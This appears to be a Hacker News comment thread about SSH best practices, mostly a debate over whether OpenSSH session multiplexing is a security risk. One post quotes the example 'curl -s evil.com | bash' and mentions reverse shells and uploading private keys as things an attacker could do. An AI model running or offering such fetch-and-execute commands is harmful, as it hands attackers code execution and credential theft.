Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

SSH: Best practices

blog.0xbadc0de.be

Post reply on HN
Print view View original

101–110 of 123 posts

Re: SSH: Best practices

#101

Post by Piskvorrr »

LinuxBender wrote: post #49
AnthonyMouse wrote: post #48

Earlier quoted context omitted.

If somebody can get you to run "curl -s evil.com | bash" then you are pwned . They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.

Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself…

"More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy." - this is the actual issue, and should fail you in the audit: precisely because it is a major vulnerability which can be abused in 10^128 different ways.

Running around screaming "OMG OMG, the tool designed to tunnel over the network can be used to tunnel over the network, TEH SKY IS FALLING!!1!!!" is even somewhat funny in this context.

Re: SSH: Best practices

#102

Post by Piskvorrr »

LinuxBender wrote: post #54
AnthonyMouse wrote: post #52

Earlier quoted context omitted.

A debugger injecting code into a process under the same context isn't a vulnerability. It's supposed to be able to do that. And OpenSSH is supposed to allow you to multiplex sessions. It's a feature. The vulnerability is the attacker being able to run arbitrary code as the user.

OpenSSH allowing this behavior by default is in itself the vulnerability.

That's a feature, not a bug. SSH is a power tool; if your users can not be trusted with power tools, it is your responsibility to provide them with something brightly coloured, drool-proof and locked down.

Re: SSH: Best practices

#103

Post by Piskvorrr »

dantillberg wrote: post #24
clinta wrote: post #6

Earlier quoted context omitted.

Public keys being exposed isn't something I think needs to be mitigated. That's the whole point, they're public.

"Could be known to an attacker" is not the same as "Is known to an attacker". Certainly, the more determined your attacker is, the more those two converge, and thus you should treat them as indistinguishable in defender against determined attackers. But by Github publishing all users' public SSH keys, they've made the "could be known" into "known" for even casual attackers.

Well, it's not necessary (or even good) to have a Single Master Ssh Key For Everything, right? ;)

Re: SSH: Best practices

#104

Post by LinuxBender »

Piskvorrr wrote: post #99
LinuxBender wrote: post #42

Earlier quoted context omitted.

The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel war…

"I am just dropping a key on your machine" - from my point of view, it does not matter whether you're dropping an executable, an SSH key, or Aunt Matilda: you already have the user executing arbitrary code (your distinction between "here, pipe this code into bash, it will execute" and "here, pipe this code into bash, it will save itself to disk and then execute" is pure handwaving). (you are likewise assuming there a…

This didn't exist in 2000. It was created and made default on the server in OpenSSH 5. OpenSSH 5 did not make it into enterprise distros for quite some time.

There are literally tens of thousands of articles telling folks to enable ControlMaster (Multiplexing) on the client to "make ssh faster". You would be hard pressed to find a devops shop that isn't already using ControlMaster in their ssh client config. There are at least a handful of government and financial sites that set MaxSessions to 1 because they understand the risk.

Re: SSH: Best practices

#105

Post by LinuxBender »

Piskvorrr wrote: post #101
LinuxBender wrote: post #49

Earlier quoted context omitted.

Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself…

"More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy." - this is the actual issue, and should fail you in the audit: precisely because it is a major vulnerability which can be abused in 10^128 different ways. Running around screaming "OMG OMG, the tool designed to tunnel over the network can be used to tunnel over the network, TEH SKY IS FALLING!!1!!!" is even so…

I don't recall even remotely suggesting the sky is falling. If nobody fixes this, it doesn't affect me. I have Multiplexing disabled everywhere that I care about.

The constant news of companies getting popped is actually quite entertaining. The only thing folks may be concerned about is that if too many companies get popped, there may be some heavy handed legislation that starts to affect people. Even that I am perfectly fine with.

Re: SSH: Best practices

#107

Post by ptman »

jsn wrote: post #21

The part about gateway hosts says: > Host B > ProxyCommand ssh -W B:22 A That could be improved: > Host B > ProxyCommand ssh -W %h:%p A Then you can use wildcards for B ("Host 10.11.12.*"), and use custom ports ("ssh -p 2222 10.11.12.13").

I just read this https://glandium.org/blog/?p=3631

Re: SSH: Best practices

#109

Post by Piskvorrr »

LinuxBender wrote: post #104
Piskvorrr wrote: post #99

Earlier quoted context omitted.

"I am just dropping a key on your machine" - from my point of view, it does not matter whether you're dropping an executable, an SSH key, or Aunt Matilda: you already have the user executing arbitrary code (your distinction between "here, pipe this code into bash, it will execute" and "here, pipe this code into bash, it will save itself to disk and then execute" is pure handwaving). (you are likewise assuming there a…

This didn't exist in 2000. It was created and made default on the server in OpenSSH 5. OpenSSH 5 did not make it into enterprise distros for quite some time. There are literally tens of thousands of articles telling folks to enable ControlMaster (Multiplexing) on the client to "make ssh faster". You would be hard pressed to find a devops shop that isn't already using ControlMaster in their ssh client config. There ar…

This specific mechanism didn't exist in 2000; the behavior is no different from the ILOVEYOU virus: user runs code, code does something malicious, code contacts cracker.

It all boils down to "if you require security, you can't have a default-open environment"; blaming a specific tool seems ... strange.

Re: SSH: Best practices

#110

Post by Piskvorrr »

LinuxBender wrote: post #105
Piskvorrr wrote: post #101

Earlier quoted context omitted.

"More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy." - this is the actual issue, and should fail you in the audit: precisely because it is a major vulnerability which can be abused in 10^128 different ways. Running around screaming "OMG OMG, the tool designed to tunnel over the network can be used to tunnel over the network, TEH SKY IS FALLING!!1!!!" is even so…

I don't recall even remotely suggesting the sky is falling. If nobody fixes this, it doesn't affect me. I have Multiplexing disabled everywhere that I care about. The constant news of companies getting popped is actually quite entertaining. The only thing folks may be concerned about is that if too many companies get popped, there may be some heavy handed legislation that starts to affect people. Even that I am perfe…

ahem "It also means, anyone using the defaults in OpenSSH is not PCI compliant."
Post reply on HN